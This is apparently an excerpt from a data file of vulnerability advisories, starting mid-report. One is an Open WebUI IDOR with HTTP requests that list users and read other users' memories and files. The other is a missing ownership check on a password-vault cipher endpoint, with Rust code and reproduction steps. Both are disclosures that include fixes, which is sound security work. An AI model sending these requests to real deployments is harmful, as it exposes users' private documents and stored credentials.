Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings \u2192 Personalization \u2192 Memory) and add some memories.\n\n**Exploitation \u2014 Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin\u0027s UUID, email, and role:\n\n```json\n{\n  \"users\": [\n    {\n      \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n      \"name\": \"user\",\n      \"email\": \"user@test.com\",\n      \"role\": \"user\"\n    },\n    {\n      \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n      \"name\": \"admin\",\n      \"email\": \"admin@test.com\",\n      \"role\": \"admin\"\n    }\n  ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation \u2014 Step 2: Read admin\u0027s memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private memories:\n\n```json\n{\n  \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation \u2014 Step 3: Read admin\u0027s private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private document content and full metadata:\n\n```json\n{\n  \"documents\": [[\"Test PDF  \\nabc   \\nbcd\"]],\n  \"metadatas\": [[{\n    \"name\": \"Test PDF.pdf\",\n    \"author\": \"Mariusz Maik\",\n    \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n    \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n  }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user \u2014 directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),\n):\n    for collection_name in form_data.collection_names:\n        if collection_name.startswith(\"user-memory-\"):\n            owner_id = collection_name.replace(\"user-memory-\", \"\")\n            if owner_id != user.id and user.role != \"admin\":\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n        elif collection_name.startswith(\"file-\"):\n            file_id = collection_name.replace(\"file-\", \"\")\n            # user_has_access_to_file \u2014 placeholder; verify file ownership\n            # e.g. check if created_by matches user.id\n            if not user_has_access_to_file(user.id, file_id):\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",

  "details": "## Summary\n\nIn the test environment, it was confirmed that an authenticated regular user can specify another user\u2019s `cipher_id` and call:\n\n```\nPUT /api/ciphers/{id}/partial\n```\n\nEven though the standard retrieval API correctly denies access to that cipher, the partial update endpoint returns **200 OK** and exposes `cipherDetails` (including `name`, `notes`, `data`, `secureNote`, etc.).\n\n\n\n## Description\n\n`put_cipher_partial` retrieves the target Cipher but does **not perform ownership or access control checks** before returning `to_json`.\nAuthorization checks present in the normal update API are missing here.\nsrc/api/core/ciphers.rs:717\n\n```rust\nlet Some(cipher) = Cipher::find_by_uuid(\u0026cipher_id, \u0026conn).await else {\n    err!(\"Cipher doesn\u0027t exist\")\n};\n\nif let Some(ref folder_id) = data.folder_id {\n    if Folder::find_by_uuid_and_user(folder_id, \u0026headers.user.uuid, \u0026conn).await.is_none() {\n        err!(\"Invalid folder\", \"Folder does not exist or belongs to another user\");\n    }\n}\n\n// Move cipher\ncipher.move_to_folder(data.folder_id.clone(), \u0026headers.user.uuid, \u0026conn).await?;\n\n// Update favorite\ncipher.set_favorite(Some(data.favorite), \u0026headers.user.uuid, \u0026conn).await?;\n\nOk(Json(cipher.to_json(\u0026headers.host, \u0026headers.user.uuid, None, CipherSyncType::User, \u0026conn).await?))\n```\n\nBy comparison, the standard update API includes an explicit authorization check:\nsrc/api/core/ciphers.rs:688\n\n```rust\nif !cipher.is_write_accessible_to_user(\u0026headers.user.uuid, \u0026conn).await {\n    err!(\"Cipher is not write accessible\")\n}\n```\n\nThe `to_json` method does not abort processing when access restrictions are not met; instead, it proceeds to construct and return a detailed response.\nsrc/db/models/cipher.rs:175\n\n```rust\nlet (read_only, hide_passwords, _) = if sync_type == CipherSyncType::User {\n    match self.get_access_restrictions(user_uuid, cipher_sync_data, conn).await {\n        Some((ro, hp, mn)) =\u003e (ro, hp, mn),\n        None =\u003e {\n            error!(\"Cipher ownership assertion failure\");\n            (true, true, false)\n        }\n    }\n} else {\n    (false, false, false)\n};\n```\nsrc/db/models/cipher.rs:335\n\n```rust\nlet mut json_object = json!({\n    \"object\": \"cipherDetails\",\n    \"id\": self.uuid,\n    \"type\": self.atype,\n    ...\n    \"name\": self.name,\n    \"notes\": self.notes,\n    \"fields\": fields_json,\n    \"data\": data_json,\n    ...\n});\n```\n\n\n## Preconditions\n\n* The attacker possesses a valid regular-user JWT (Bearer token).\n* The attacker knows the target (victim) `cipher_id`.\n\n\n## Steps to Reproduce\n\n1. Prepare the attacker JWT and victim `cipher_id` (preconditions).\n2. Baseline check: confirm that standard retrieval is denied.\n\u003cimg width=\"2014\" height=\"855\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32b12cc9-3672-4a88-afd0-ef7715474662\" /\u003e\n\n\n3. Execute the vulnerable API. Confirm that **200 OK** is returned and that `cipherDetails` includes fields such as `id`, `name`, `notes`, `secureNote`, etc.\n\u003cimg width=\"2018\" height=\"1113\" alt=\"image\" src=\"https://github.com/user-attachments/assets/341b330c-8d55-4f06-a622-0d7da28f62fd\" /\u003e\n\n\n## Potential Impact\n\n* Unauthorized disclosure of other users\u2019 cipher information (confidentiality breach).\n* Creation of unauthorized associations within the attacker\u2019s user context (e.g., `favorite` or folder operations).\n* The response from `/api/ciphers/\u003ccipher_id\u003e/partial` includes `attachments[].url`.\n\nIn filesystem (FS) deployments, this returns a tokenized endpoint such as:\n\n```\n/attachments/\u003ccipher\u003e/\u003cfile\u003e?token=...\n```\n\nIn object storage deployments, it returns a short-lived pre-signed URL.\n\nAs a result, an attacker can use these URLs to directly download attachment data that they are not authorized to access.\n\nThis can lead to disclosure of sensitive information stored in the Vault, including personal data and authentication credentials. Such exposure may further result in account compromise, lateral movement, and other secondary impacts.",
